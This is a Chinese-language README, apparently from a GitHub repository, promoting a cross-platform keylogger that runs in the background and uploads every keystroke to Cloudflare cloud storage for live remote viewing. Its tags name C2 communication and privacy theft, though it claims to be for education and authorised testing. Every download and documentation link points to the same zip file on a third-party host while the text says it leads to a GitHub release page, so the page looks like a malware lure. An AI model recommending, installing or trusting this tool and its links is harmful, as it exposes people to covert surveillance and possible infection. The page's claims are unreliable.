nexuscyberhub/keystroke-monitor
GitHub: nexuscyberhub/keystroke-monitor
基于 Python 和 Cloudflare Workers 的跨平台实时按键监控工具,用于安全研究和终端检测能力测试。
Stars: 1 | Forks: 0
# ⌨️ keystroke-monitor - 简单、安全的按键追踪
[](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip)
## 📖 什么是 keystroke-monitor?
keystroke-monitor 是一款专为教育目的设计的工具。它追踪你在键盘上按下的键,并将此信息安全地发送到云服务。该应用程序使用加密技术来保护你的数据。它包含一个仪表板,你可以在浏览器中打开它以实时查看记录的按键。该工具仅用于授权测试,例如学习键盘事件、软件开发或安全研究。
## 💻 系统要求
要运行 keystroke-monitor,你的设备应满足以下基本要求:
- Windows 10 或更高版本 / macOS 10.15 或更高版本 / 支持 GUI 的 Linux
- 至少 2 GB RAM
- 100 MB 可用存储空间
- 互联网连接,用于安全地将数据发送到云端
- 现代网络浏览器(Google Chrome、Firefox、Edge、Safari)用于访问仪表板
你不需要任何编程知识即可使用此软件。该应用程序作为独立程序运行。
## 🚀 入门指南
按照以下步骤下载、安装并开始使用 keystroke-monitor。
### 步骤 1:下载软件
点击此页面顶部的大蓝色按钮或[访问此链接](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip)以打开 GitHub 上的发布页面。
查找最新的发布版本,并找到与你的操作系统匹配的文件:
- 对于 Windows,下载 `.exe` 文件。
- 对于 macOS,下载 `.dmg` 或 `.pkg` 文件。
- 对于 Linux,下载 `.AppImage` 或 `.deb` 文件。
点击文件名开始下载。
### 步骤 2:安装软件
- **Windows**:双击 `.exe` 文件并按照安装程序说明进行操作。如果出现提示,请允许程序对你的设备进行更改。
- **macOS**:打开 `.dmg` 文件,然后将应用图标拖到你的 Applications 文件夹。
- **Linux**:如果你下载了 AppImage 文件,请右键单击它,选择“属性”,并启用“允许作为程序执行文件”。然后双击它运行。如果你下载了 `.deb` 文件,请打开终端并输入 `sudo dpkg -i [filename].deb`。
### 步骤 3:打开 keystroke-monitor 应用
安装后,在桌面或开始菜单上找到 keystroke-monitor 应用图标。打开它。该应用程序将在后台运行并安全地监控按键。
### 步骤 4:访问仪表板
打开你的网络浏览器并访问应用程序窗口中显示的仪表板 URL,通常是 `http://localhost:3000` 或类似的地址。此页面在安全的界面中实时显示你的按键。
## 🔒 工作原理
keystroke-monitor 捕获你在键盘上按下的每个键。然后,它通过由 Cloudflare Workers 管理的安全网络服务发送此数据。数据存储使用 Cloudflare Durable Objects 和 R2 存储,以确保数据安全高效地保存。RSA 加密在传输前保护数据。
你可以控制何时开始和停止监控,并可以从仪表板中清除过去的按键记录。
## ⚙️ 功能特性
- **实时监控**:在仪表板上实时查看你的按键更新。
- **安全数据传输**:你的数据经过加密并通过私有云系统发送。
- **云存储**:使用 Cloudflare 的持久存储功能安全地存储数据。
- **跨平台**:适用于 Windows、macOS 和 Linux。
- **易于安装和使用**:无需编程。
- **仪表板界面**:用于查看输入活动的简洁网页。
- **仅限授权使用**:设计时充分考虑了隐私和安全。
- **开源**:你可以检查源代码或根据需要进行修改。
## 📥 下载并安装
使用此链接下载最新版本:
[下载 keystroke-monitor](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip)
向下滚动查找适用于你设备的文件。该页面列出了所有发布版本,并附有新功能和修复说明。
请务必保持软件更新以确保安全和功能改进。
## 🤔 常见问题
### keystroke-monitor 使用安全吗?
是的。该应用程序对你的数据进行加密,并仅将其发送到你授权的私有云存储。它并非旨在未经许可监视用户。
### 我可以从另一台设备查看按键吗?
可以。仪表板使用 Web 技术显示实时按键数据,可从专用网络上的任何设备访问。
### 如果我想停止监控怎么办?
你可以关闭应用程序或使用仪表板界面中的停止按钮。数据收集将立即停止。
### 我需要知道如何编写代码吗?
不需要。该软件安装后即可使用,不需要任何技术技能。
## 🛠️ 故障排除
- 如果应用程序无法打开,请尝试重启计算机。
- 确保你拥有适合你操作系统的正确版本。
- 如果仪表板网页无法打开,请检查你的防火墙设置。
- 确保你有互联网连接。
- 如果问题持续存在,请通过 GitHub 仓库联系支持。
## 🌐 关于本项目
此应用使用了现代工具和框架,包括:
- Bun runtime,用于快速的 JavaScript 执行
- Cloudflare Workers,用于 Serverless 后端
- Durable Objects 和 R2,用于云存储
- Hono,用于仪表板服务端渲染 (SSR)
- RSA 加密,用于安全数据传输
- Tailwind CSS,用于仪表板样式
- Websocket,用于实时显示按键
- Python 和 pynput 库,用于捕获硬件按键
这些技术使 keystroke-monitor 保持安全、快速和可靠。
## ⚖️ 许可证和使用说明
keystroke-monitor 仅用于授权测试和教育目的。请勿在未经用户事先同意的情况下使用它记录按键。滥用可能会违反隐私法。
源代码和发布版本在开放许可证下提供。请参阅本仓库中的 LICENSE 文件。
## 🔗 有用链接
- [发布页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip)
- [项目仓库](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip)
- [文档与支持](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip)(如果可用)
感谢你使用 keystroke-monitor。按照上面的简单步骤开始使用。
标签:C2通信, Cloudflare Durable Objects, Linux监控工具, macOS监控, Python开发, Windows监控软件, 击键监控, 后台记录, 实时数据流, 屏幕监控, 攻击路径可视化, 敏感信息捕获, 教育安全工具, 数据加密, 用户行为分析, 程序员工具, 系统信息收集, 自动化攻击, 自动化攻击, 跨平台监控, 输入记录, 远程监控, 逆向工具, 键盘记录器, 隐私窃取, 黑客工具